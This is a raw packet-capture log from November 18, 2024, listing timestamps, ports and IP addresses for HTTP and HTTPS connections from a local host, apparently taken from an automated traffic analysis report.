Nov 18, 2024 23:04:06.079346895 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.079457045 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.079482079 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.080555916 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.080631971 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.080677032 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.080701113 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.080718994 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.080738068 CET	49779	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.080744028 CET	443	49779	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.082403898 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.082493067 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.082582951 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.082689047 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.082724094 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.121454954 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.121612072 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.121675968 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.121731997 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.121731997 CET	49781	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.121764898 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.121789932 CET	443	49781	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.123661041 CET	49786	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.123744011 CET	443	49786	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.123831987 CET	49786	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.123936892 CET	49786	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.123959064 CET	443	49786	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.124545097 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.124618053 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.124795914 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.124795914 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.124795914 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.126511097 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.126568079 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.126657963 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.126787901 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.126816034 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.429739952 CET	49782	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.429801941 CET	443	49782	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.461508989 CET	49773	80	192.168.2.4	185.215.113.43
Nov 18, 2024 23:04:06.461781979 CET	49788	80	192.168.2.4	185.215.113.43
Nov 18, 2024 23:04:06.466912031 CET	80	49788	185.215.113.43	192.168.2.4
Nov 18, 2024 23:04:06.467034101 CET	49788	80	192.168.2.4	185.215.113.43
Nov 18, 2024 23:04:06.467267036 CET	49788	80	192.168.2.4	185.215.113.43
Nov 18, 2024 23:04:06.468218088 CET	80	49773	185.215.113.43	192.168.2.4
Nov 18, 2024 23:04:06.468308926 CET	49773	80	192.168.2.4	185.215.113.43
Nov 18, 2024 23:04:06.472285032 CET	80	49788	185.215.113.43	192.168.2.4
Nov 18, 2024 23:04:06.757220984 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.758012056 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.758045912 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.758481026 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.758493900 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.809676886 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.810168982 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.810230017 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.810687065 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.810703039 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.825040102 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.825395107 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.825424910 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.825967073 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.825997114 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.874840021 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.875236988 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.875266075 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.875741959 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.875755072 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.878568888 CET	443	49786	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.878952980 CET	49786	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.878988028 CET	443	49786	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.879358053 CET	49786	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.879371881 CET	443	49786	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.886348963 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.886868954 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.886933088 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.886993885 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.887029886 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.887054920 CET	49783	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.887070894 CET	443	49783	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.889647961 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.889722109 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.889797926 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.889951944 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.889980078 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.940437078 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.940807104 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.940956116 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.941046953 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.941046953 CET	49784	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.941071033 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.941085100 CET	443	49784	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.942948103 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.942972898 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.943037987 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.943197012 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.943209887 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.991286993 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.991485119 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.991590023 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.991797924 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.991797924 CET	49785	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.991826057 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.991849899 CET	443	49785	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.993789911 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.993860960 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:06.993947983 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.994102001 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:06.994138956 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.008061886 CET	49724	80	192.168.2.4	199.232.214.172
Nov 18, 2024 23:04:07.008110046 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.008209944 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.008296967 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.008337975 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.008337975 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.008357048 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.008377075 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.010288954 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.010359049 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.010442972 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.010593891 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.010626078 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.017770052 CET	80	49724	199.232.214.172	192.168.2.4
Nov 18, 2024 23:04:07.017843008 CET	49724	80	192.168.2.4	199.232.214.172
Nov 18, 2024 23:04:07.103743076 CET	443	49786	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.103843927 CET	443	49786	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.103987932 CET	49786	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.104032993 CET	49786	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.104055882 CET	443	49786	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.104074001 CET	49786	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.104080915 CET	443	49786	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.106162071 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.106216908 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.106302023 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.106427908 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.106452942 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.381710052 CET	80	49788	185.215.113.43	192.168.2.4
Nov 18, 2024 23:04:07.381876945 CET	49788	80	192.168.2.4	185.215.113.43
Nov 18, 2024 23:04:07.385883093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:07.394992113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:07.395076990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:07.395164967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:07.403816938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:07.653251886 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.653734922 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.653789997 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.654110909 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.654124022 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.691957951 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.692276001 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.692298889 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.692600012 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.692605019 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.755352974 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.755652905 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.755717039 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.755983114 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.755996943 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.771048069 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.771349907 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.771409035 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.771652937 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.771666050 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.788527966 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.788669109 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.788733006 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.788809061 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.788809061 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.788846016 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.788867950 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.794549942 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.794609070 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.794677019 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.794790983 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.794806004 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.828788042 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.829045057 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.829101086 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.829137087 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.829137087 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.829152107 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.829163074 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.832055092 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.832077026 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.832137108 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.832285881 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.832302094 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.873445988 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.873806000 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.873833895 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.874157906 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.874170065 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.890876055 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.891231060 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.891289949 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.891381025 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.891381025 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.891419888 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.891452074 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.893501043 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.893543005 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.893611908 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.893721104 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.893753052 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.908092022 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.908345938 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.908406973 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.908480883 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.908480883 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.908514023 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.908536911 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.910094023 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.910125017 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:07.910192013 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.910290956 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:07.910305977 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.320600986 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.320676088 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.320750952 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.320916891 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.320916891 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.320949078 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.320972919 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.321490049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.321527004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.321566105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.321583033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.321609974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.321619034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.321635008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.321674109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.321675062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.321710110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.321726084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.321747065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.321755886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.321779966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.321796894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.321816921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.321825981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.321852922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.321872950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.321907997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.323013067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.323077917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.323570967 CET	49799	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.323622942 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.323709011 CET	49799	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.323875904 CET	49799	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.323909044 CET	443	49799	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.326782942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.326853991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.326926947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.326981068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.432436943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.432492971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.432550907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.432585955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.432621002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.432621002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.432657003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.432657957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.432678938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.432698011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.433202028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.433259010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.433269024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.433294058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.433310986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.433352947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.434127092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.434184074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.434185982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.434220076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.434237003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.434273005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.435081005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.435141087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.435295105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.435355902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.528558969 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.529016018 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.529053926 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.529422045 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.529438972 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.552174091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.552210093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.552263975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.552323103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.552324057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.552361012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.552395105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.552402020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.552515030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.552809000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.552870989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.552871943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.552907944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.552934885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.552942991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.552961111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.552985907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.553627014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.553680897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.553684950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.553741932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.553746939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.553775072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.553792953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.553828955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.574016094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.574091911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.574151039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:08.574229002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:08.579622984 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.580034971 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.580066919 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.580408096 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.580415964 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.628485918 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.628973961 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.629009962 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.629327059 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.629343033 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.657208920 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.657341957 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.657408953 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.657473087 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.657502890 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.657526970 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.657541037 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.659856081 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.660094023 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.660178900 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.660185099 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.660198927 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.660326004 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.660444021 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.660468102 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:08.660542965 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:08.660548925 CET	443	49798	13.107.246.45	192.168.2.4
